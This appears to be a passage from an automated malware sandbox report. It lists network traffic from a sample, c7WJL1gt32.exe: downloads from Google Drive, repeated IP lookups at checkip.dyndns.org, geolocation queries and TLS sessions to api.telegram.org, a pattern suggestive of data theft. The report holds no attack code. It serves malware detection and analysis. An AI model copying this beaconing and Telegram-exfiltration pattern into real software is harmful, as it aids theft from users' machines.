Jan 11, 2025 07:39:57.881944895 CET	80	49991	132.226.8.169	192.168.2.4
Jan 11, 2025 07:39:58.911942005 CET	80	49991	132.226.8.169	192.168.2.4
Jan 11, 2025 07:39:58.913155079 CET	49999	443	192.168.2.4	149.154.167.220
Jan 11, 2025 07:39:58.913184881 CET	443	49999	149.154.167.220	192.168.2.4
Jan 11, 2025 07:39:58.913249969 CET	49999	443	192.168.2.4	149.154.167.220
Jan 11, 2025 07:39:58.913480043 CET	49999	443	192.168.2.4	149.154.167.220
Jan 11, 2025 07:39:58.913492918 CET	443	49999	149.154.167.220	192.168.2.4
Jan 11, 2025 07:39:58.962600946 CET	49991	80	192.168.2.4	132.226.8.169
Jan 11, 2025 07:39:59.519047022 CET	443	49999	149.154.167.220	192.168.2.4
Jan 11, 2025 07:39:59.520814896 CET	49999	443	192.168.2.4	149.154.167.220
Jan 11, 2025 07:39:59.520833969 CET	443	49999	149.154.167.220	192.168.2.4
Jan 11, 2025 07:39:59.520888090 CET	49999	443	192.168.2.4	149.154.167.220
Jan 11, 2025 07:39:59.520898104 CET	443	49999	149.154.167.220	192.168.2.4
Jan 11, 2025 07:39:59.799776077 CET	443	49999	149.154.167.220	192.168.2.4
Jan 11, 2025 07:39:59.799882889 CET	443	49999	149.154.167.220	192.168.2.4
Jan 11, 2025 07:39:59.799935102 CET	49999	443	192.168.2.4	149.154.167.220
Jan 11, 2025 07:39:59.800440073 CET	49999	443	192.168.2.4	149.154.167.220
Jan 11, 2025 07:39:59.804054022 CET	49991	80	192.168.2.4	132.226.8.169
Jan 11, 2025 07:39:59.805299997 CET	50006	80	192.168.2.4	132.226.8.169
Jan 11, 2025 07:39:59.809012890 CET	80	49991	132.226.8.169	192.168.2.4
Jan 11, 2025 07:39:59.809072018 CET	49991	80	192.168.2.4	132.226.8.169
Jan 11, 2025 07:39:59.810169935 CET	80	50006	132.226.8.169	192.168.2.4
Jan 11, 2025 07:39:59.810234070 CET	50006	80	192.168.2.4	132.226.8.169
Jan 11, 2025 07:39:59.810326099 CET	50006	80	192.168.2.4	132.226.8.169
Jan 11, 2025 07:39:59.815072060 CET	80	50006	132.226.8.169	192.168.2.4
Jan 11, 2025 07:40:04.982192993 CET	80	50006	132.226.8.169	192.168.2.4
Jan 11, 2025 07:40:04.983825922 CET	50014	443	192.168.2.4	149.154.167.220
Jan 11, 2025 07:40:04.983872890 CET	443	50014	149.154.167.220	192.168.2.4
Jan 11, 2025 07:40:04.983948946 CET	50014	443	192.168.2.4	149.154.167.220
Jan 11, 2025 07:40:04.984261990 CET	50014	443	192.168.2.4	149.154.167.220
Jan 11, 2025 07:40:04.984272957 CET	443	50014	149.154.167.220	192.168.2.4
Jan 11, 2025 07:40:05.024163008 CET	50006	80	192.168.2.4	132.226.8.169
Jan 11, 2025 07:40:05.588587999 CET	443	50014	149.154.167.220	192.168.2.4
Jan 11, 2025 07:40:05.590450048 CET	50014	443	192.168.2.4	149.154.167.220
Jan 11, 2025 07:40:05.590473890 CET	443	50014	149.154.167.220	192.168.2.4
Jan 11, 2025 07:40:05.590528965 CET	50014	443	192.168.2.4	149.154.167.220
Jan 11, 2025 07:40:05.590536118 CET	443	50014	149.154.167.220	192.168.2.4
Jan 11, 2025 07:40:05.839330912 CET	443	50014	149.154.167.220	192.168.2.4
Jan 11, 2025 07:40:05.839421034 CET	443	50014	149.154.167.220	192.168.2.4
Jan 11, 2025 07:40:05.839485884 CET	50014	443	192.168.2.4	149.154.167.220
Jan 11, 2025 07:40:05.840008974 CET	50014	443	192.168.2.4	149.154.167.220
Jan 11, 2025 07:40:05.843521118 CET	50006	80	192.168.2.4	132.226.8.169
Jan 11, 2025 07:40:05.844739914 CET	50015	80	192.168.2.4	132.226.8.169
Jan 11, 2025 07:40:05.848587036 CET	80	50006	132.226.8.169	192.168.2.4
Jan 11, 2025 07:40:05.848661900 CET	50006	80	192.168.2.4	132.226.8.169
Jan 11, 2025 07:40:05.849543095 CET	80	50015	132.226.8.169	192.168.2.4
Jan 11, 2025 07:40:05.849625111 CET	50015	80	192.168.2.4	132.226.8.169
Jan 11, 2025 07:40:05.849704027 CET	50015	80	192.168.2.4	132.226.8.169
Jan 11, 2025 07:40:05.854574919 CET	80	50015	132.226.8.169	192.168.2.4
Jan 11, 2025 07:40:10.593808889 CET	80	50015	132.226.8.169	192.168.2.4
Jan 11, 2025 07:40:10.596463919 CET	50016	443	192.168.2.4	149.154.167.220
Jan 11, 2025 07:40:10.596518993 CET	443	50016	149.154.167.220	192.168.2.4
Jan 11, 2025 07:40:10.596595049 CET	50016	443	192.168.2.4	149.154.167.220
Jan 11, 2025 07:40:10.597245932 CET	50016	443	192.168.2.4	149.154.167.220
Jan 11, 2025 07:40:10.597261906 CET	443	50016	149.154.167.220	192.168.2.4
Jan 11, 2025 07:40:10.633572102 CET	50015	80	192.168.2.4	132.226.8.169
Jan 11, 2025 07:40:11.211114883 CET	443	50016	149.154.167.220	192.168.2.4
Jan 11, 2025 07:40:11.213293076 CET	50016	443	192.168.2.4	149.154.167.220
Jan 11, 2025 07:40:11.213314056 CET	443	50016	149.154.167.220	192.168.2.4
Jan 11, 2025 07:40:11.213376045 CET	50016	443	192.168.2.4	149.154.167.220
Jan 11, 2025 07:40:11.213385105 CET	443	50016	149.154.167.220	192.168.2.4
Jan 11, 2025 07:40:11.469649076 CET	443	50016	149.154.167.220	192.168.2.4
Jan 11, 2025 07:40:11.469847918 CET	443	50016	149.154.167.220	192.168.2.4
Jan 11, 2025 07:40:11.469935894 CET	50016	443	192.168.2.4	149.154.167.220
Jan 11, 2025 07:40:11.470326900 CET	50016	443	192.168.2.4	149.154.167.220
Jan 11, 2025 07:40:11.473696947 CET	50015	80	192.168.2.4	132.226.8.169
Jan 11, 2025 07:40:11.474947929 CET	50017	80	192.168.2.4	132.226.8.169
Jan 11, 2025 07:40:11.478734016 CET	80	50015	132.226.8.169	192.168.2.4
Jan 11, 2025 07:40:11.478807926 CET	50015	80	192.168.2.4	132.226.8.169
Jan 11, 2025 07:40:11.479878902 CET	80	50017	132.226.8.169	192.168.2.4
Jan 11, 2025 07:40:11.479965925 CET	50017	80	192.168.2.4	132.226.8.169
Jan 11, 2025 07:40:11.480046988 CET	50017	80	192.168.2.4	132.226.8.169
Jan 11, 2025 07:40:11.484958887 CET	80	50017	132.226.8.169	192.168.2.4
Jan 11, 2025 07:40:16.771871090 CET	80	50017	132.226.8.169	192.168.2.4
Jan 11, 2025 07:40:16.774588108 CET	50018	443	192.168.2.4	149.154.167.220
Jan 11, 2025 07:40:16.774648905 CET	443	50018	149.154.167.220	192.168.2.4
Jan 11, 2025 07:40:16.774722099 CET	50018	443	192.168.2.4	149.154.167.220
Jan 11, 2025 07:40:16.775137901 CET	50018	443	192.168.2.4	149.154.167.220
Jan 11, 2025 07:40:16.775158882 CET	443	50018	149.154.167.220	192.168.2.4
Jan 11, 2025 07:40:16.821088076 CET	50017	80	192.168.2.4	132.226.8.169
Jan 11, 2025 07:40:17.383366108 CET	443	50018	149.154.167.220	192.168.2.4
Jan 11, 2025 07:40:17.385323048 CET	50018	443	192.168.2.4	149.154.167.220
Jan 11, 2025 07:40:17.385361910 CET	443	50018	149.154.167.220	192.168.2.4
Jan 11, 2025 07:40:17.385530949 CET	50018	443	192.168.2.4	149.154.167.220
Jan 11, 2025 07:40:17.385544062 CET	443	50018	149.154.167.220	192.168.2.4
Jan 11, 2025 07:40:17.817502975 CET	443	50018	149.154.167.220	192.168.2.4
Jan 11, 2025 07:40:17.817724943 CET	443	50018	149.154.167.220	192.168.2.4
Jan 11, 2025 07:40:17.817821026 CET	50018	443	192.168.2.4	149.154.167.220
Jan 11, 2025 07:40:17.818320990 CET	50018	443	192.168.2.4	149.154.167.220
Jan 11, 2025 07:40:17.822247028 CET	50017	80	192.168.2.4	132.226.8.169
Jan 11, 2025 07:40:17.822870016 CET	50019	80	192.168.2.4	132.226.8.169
Jan 11, 2025 07:40:17.827338934 CET	80	50017	132.226.8.169	192.168.2.4
Jan 11, 2025 07:40:17.827446938 CET	50017	80	192.168.2.4	132.226.8.169
Jan 11, 2025 07:40:17.827784061 CET	80	50019	132.226.8.169	192.168.2.4
Jan 11, 2025 07:40:17.827876091 CET	50019	80	192.168.2.4	132.226.8.169
Jan 11, 2025 07:40:17.827970982 CET	50019	80	192.168.2.4	132.226.8.169
Jan 11, 2025 07:40:17.832878113 CET	80	50019	132.226.8.169	192.168.2.4
Jan 11, 2025 07:40:22.958065033 CET	80	50019	132.226.8.169	192.168.2.4
Jan 11, 2025 07:40:23.008629084 CET	50019	80	192.168.2.4	132.226.8.169
Jan 11, 2025 07:40:23.073966980 CET	50020	80	192.168.2.4	132.226.8.169
Jan 11, 2025 07:40:23.078876972 CET	80	50020	132.226.8.169	192.168.2.4
Jan 11, 2025 07:40:23.082088947 CET	50020	80	192.168.2.4	132.226.8.169
Jan 11, 2025 07:40:23.082222939 CET	50020	80	192.168.2.4	132.226.8.169
Jan 11, 2025 07:40:23.086999893 CET	80	50020	132.226.8.169	192.168.2.4
Jan 11, 2025 07:40:24.370826960 CET	80	50020	132.226.8.169	192.168.2.4
Jan 11, 2025 07:40:24.372298002 CET	50021	443	192.168.2.4	149.154.167.220
Jan 11, 2025 07:40:24.372348070 CET	443	50021	149.154.167.220	192.168.2.4
Jan 11, 2025 07:40:24.372358084 CET	50019	80	192.168.2.4	132.226.8.169
Jan 11, 2025 07:40:24.372410059 CET	50021	443	192.168.2.4	149.154.167.220
Jan 11, 2025 07:40:24.372735977 CET	50021	443	192.168.2.4	149.154.167.220
Jan 11, 2025 07:40:24.372747898 CET	443	50021	149.154.167.220	192.168.2.4
Jan 11, 2025 07:40:24.377460957 CET	80	50019	132.226.8.169	192.168.2.4
Jan 11, 2025 07:40:24.377562046 CET	50019	80	192.168.2.4	132.226.8.169
Jan 11, 2025 07:40:24.414936066 CET	50020	80	192.168.2.4	132.226.8.169
Jan 11, 2025 07:40:24.995517015 CET	443	50021	149.154.167.220	192.168.2.4
Jan 11, 2025 07:40:25.035506010 CET	50021	443	192.168.2.4	149.154.167.220
Jan 11, 2025 07:40:27.919445038 CET	50021	443	192.168.2.4	149.154.167.220
Jan 11, 2025 07:40:27.919471025 CET	443	50021	149.154.167.220	192.168.2.4
Jan 11, 2025 07:40:27.919538021 CET	50021	443	192.168.2.4	149.154.167.220
Jan 11, 2025 07:40:27.919544935 CET	443	50021	149.154.167.220	192.168.2.4
Jan 11, 2025 07:40:28.478215933 CET	443	50021	149.154.167.220	192.168.2.4
Jan 11, 2025 07:40:28.478329897 CET	443	50021	149.154.167.220	192.168.2.4
Jan 11, 2025 07:40:28.478399992 CET	50021	443	192.168.2.4	149.154.167.220
Jan 11, 2025 07:40:28.478838921 CET	50021	443	192.168.2.4	149.154.167.220
Jan 11, 2025 07:40:28.481694937 CET	50020	80	192.168.2.4	132.226.8.169
Jan 11, 2025 07:40:28.482701063 CET	50022	80	192.168.2.4	132.226.8.169
Jan 11, 2025 07:40:28.486807108 CET	80	50020	132.226.8.169	192.168.2.4
Jan 11, 2025 07:40:28.486890078 CET	50020	80	192.168.2.4	132.226.8.169
Jan 11, 2025 07:40:28.487605095 CET	80	50022	132.226.8.169	192.168.2.4
Jan 11, 2025 07:40:28.487679005 CET	50022	80	192.168.2.4	132.226.8.169
Jan 11, 2025 07:40:28.487767935 CET	50022	80	192.168.2.4	132.226.8.169
Jan 11, 2025 07:40:28.492638111 CET	80	50022	132.226.8.169	192.168.2.4

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 07:39:41.169106960 CET	50141	53	192.168.2.4	1.1.1.1
Jan 11, 2025 07:39:41.279591084 CET	53	50141	1.1.1.1	192.168.2.4
Jan 11, 2025 07:39:42.361627102 CET	52235	53	192.168.2.4	1.1.1.1
Jan 11, 2025 07:39:42.368859053 CET	53	52235	1.1.1.1	192.168.2.4
Jan 11, 2025 07:39:46.704070091 CET	62315	53	192.168.2.4	1.1.1.1
Jan 11, 2025 07:39:46.711347103 CET	53	62315	1.1.1.1	192.168.2.4
Jan 11, 2025 07:39:48.110366106 CET	59165	53	192.168.2.4	1.1.1.1
Jan 11, 2025 07:39:48.119493008 CET	53	59165	1.1.1.1	192.168.2.4
Jan 11, 2025 07:39:54.628595114 CET	59059	53	192.168.2.4	1.1.1.1
Jan 11, 2025 07:39:54.635695934 CET	53	59059	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 11, 2025 07:39:41.169106960 CET	192.168.2.4	1.1.1.1	0x13b9	Standard query (0)	drive.google.com	A (IP address)	IN (0x0001)	false
Jan 11, 2025 07:39:42.361627102 CET	192.168.2.4	1.1.1.1	0x8d01	Standard query (0)	drive.usercontent.google.com	A (IP address)	IN (0x0001)	false
Jan 11, 2025 07:39:46.704070091 CET	192.168.2.4	1.1.1.1	0x28a7	Standard query (0)	checkip.dyndns.org	A (IP address)	IN (0x0001)	false
Jan 11, 2025 07:39:48.110366106 CET	192.168.2.4	1.1.1.1	0xb401	Standard query (0)	reallyfreegeoip.org	A (IP address)	IN (0x0001)	false
Jan 11, 2025 07:39:54.628595114 CET	192.168.2.4	1.1.1.1	0x2d80	Standard query (0)	api.telegram.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 11, 2025 07:39:41.279591084 CET	1.1.1.1	192.168.2.4	0x13b9	No error (0)	drive.google.com		216.58.206.46	A (IP address)	IN (0x0001)	false
Jan 11, 2025 07:39:42.368859053 CET	1.1.1.1	192.168.2.4	0x8d01	No error (0)	drive.usercontent.google.com		142.250.185.129	A (IP address)	IN (0x0001)	false
Jan 11, 2025 07:39:46.711347103 CET	1.1.1.1	192.168.2.4	0x28a7	No error (0)	checkip.dyndns.org	checkip.dyndns.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2025 07:39:46.711347103 CET	1.1.1.1	192.168.2.4	0x28a7	No error (0)	checkip.dyndns.com		132.226.8.169	A (IP address)	IN (0x0001)	false
Jan 11, 2025 07:39:46.711347103 CET	1.1.1.1	192.168.2.4	0x28a7	No error (0)	checkip.dyndns.com		193.122.6.168	A (IP address)	IN (0x0001)	false
Jan 11, 2025 07:39:46.711347103 CET	1.1.1.1	192.168.2.4	0x28a7	No error (0)	checkip.dyndns.com		132.226.247.73	A (IP address)	IN (0x0001)	false
Jan 11, 2025 07:39:46.711347103 CET	1.1.1.1	192.168.2.4	0x28a7	No error (0)	checkip.dyndns.com		158.101.44.242	A (IP address)	IN (0x0001)	false
Jan 11, 2025 07:39:46.711347103 CET	1.1.1.1	192.168.2.4	0x28a7	No error (0)	checkip.dyndns.com		193.122.130.0	A (IP address)	IN (0x0001)	false
Jan 11, 2025 07:39:48.119493008 CET	1.1.1.1	192.168.2.4	0xb401	No error (0)	reallyfreegeoip.org		104.21.80.1	A (IP address)	IN (0x0001)	false
Jan 11, 2025 07:39:48.119493008 CET	1.1.1.1	192.168.2.4	0xb401	No error (0)	reallyfreegeoip.org		104.21.64.1	A (IP address)	IN (0x0001)	false
Jan 11, 2025 07:39:48.119493008 CET	1.1.1.1	192.168.2.4	0xb401	No error (0)	reallyfreegeoip.org		104.21.16.1	A (IP address)	IN (0x0001)	false
Jan 11, 2025 07:39:48.119493008 CET	1.1.1.1	192.168.2.4	0xb401	No error (0)	reallyfreegeoip.org		104.21.96.1	A (IP address)	IN (0x0001)	false
Jan 11, 2025 07:39:48.119493008 CET	1.1.1.1	192.168.2.4	0xb401	No error (0)	reallyfreegeoip.org		104.21.48.1	A (IP address)	IN (0x0001)	false
Jan 11, 2025 07:39:48.119493008 CET	1.1.1.1	192.168.2.4	0xb401	No error (0)	reallyfreegeoip.org		104.21.112.1	A (IP address)	IN (0x0001)	false
Jan 11, 2025 07:39:48.119493008 CET	1.1.1.1	192.168.2.4	0xb401	No error (0)	reallyfreegeoip.org		104.21.32.1	A (IP address)	IN (0x0001)	false
Jan 11, 2025 07:39:54.635695934 CET	1.1.1.1	192.168.2.4	0x2d80	No error (0)	api.telegram.org		149.154.167.220	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

drive.google.com

drive.usercontent.google.com

reallyfreegeoip.org

api.telegram.org

checkip.dyndns.org

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49921	132.226.8.169	80	7856	C:\Users\user\Desktop\c7WJL1gt32.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 07:39:46.721379042 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Jan 11, 2025 07:39:47.558394909 CET	273	IN	HTTP/1.1 200 OK Date: Sat, 11 Jan 2025 06:39:47 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>
Jan 11, 2025 07:39:47.566066980 CET	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Jan 11, 2025 07:39:47.848217964 CET	273	IN	HTTP/1.1 200 OK Date: Sat, 11 Jan 2025 06:39:47 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>
Jan 11, 2025 07:39:54.321516991 CET	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Jan 11, 2025 07:39:54.620425940 CET	273	IN	HTTP/1.1 200 OK Date: Sat, 11 Jan 2025 06:39:54 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49977	132.226.8.169	80	7856	C:\Users\user\Desktop\c7WJL1gt32.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 07:39:56.103481054 CET	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Jan 11, 2025 07:39:56.943947077 CET	273	IN	HTTP/1.1 200 OK Date: Sat, 11 Jan 2025 06:39:56 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49991	132.226.8.169	80	7856	C:\Users\user\Desktop\c7WJL1gt32.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 07:39:57.877127886 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Jan 11, 2025 07:39:58.911942005 CET	273	IN	HTTP/1.1 200 OK Date: Sat, 11 Jan 2025 06:39:58 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	50006	132.226.8.169	80	7856	C:\Users\user\Desktop\c7WJL1gt32.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 07:39:59.810326099 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Jan 11, 2025 07:40:04.982192993 CET	273	IN	HTTP/1.1 200 OK Date: Sat, 11 Jan 2025 06:40:04 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	50015	132.226.8.169	80	7856	C:\Users\user\Desktop\c7WJL1gt32.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 07:40:05.849704027 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Jan 11, 2025 07:40:10.593808889 CET	273	IN	HTTP/1.1 200 OK Date: Sat, 11 Jan 2025 06:40:10 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	50017	132.226.8.169	80	7856	C:\Users\user\Desktop\c7WJL1gt32.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 07:40:11.480046988 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Jan 11, 2025 07:40:16.771871090 CET	273	IN	HTTP/1.1 200 OK Date: Sat, 11 Jan 2025 06:40:16 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	50019	132.226.8.169	80	7856	C:\Users\user\Desktop\c7WJL1gt32.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 07:40:17.827970982 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Jan 11, 2025 07:40:22.958065033 CET	697	IN	HTTP/1.1 504 Gateway Time-out Date: Sat, 11 Jan 2025 06:40:22 GMT Content-Type: text/html Content-Length: 557 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 34 20 47 61 74 65 77 61 79 20 54 69 6d 65 2d 6f 75 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 34 20 47 61 74 65 77 61 79 20 54 69 6d 65 2d 6f 75 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c [TRUNCATED] Data Ascii: <html><head><title>504 Gateway Time-out</title></head><body><center><h1>504 Gateway Time-out</h1></center><hr><center></center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	50020	132.226.8.169	80	7856	C:\Users\user\Desktop\c7WJL1gt32.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 07:40:23.082222939 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
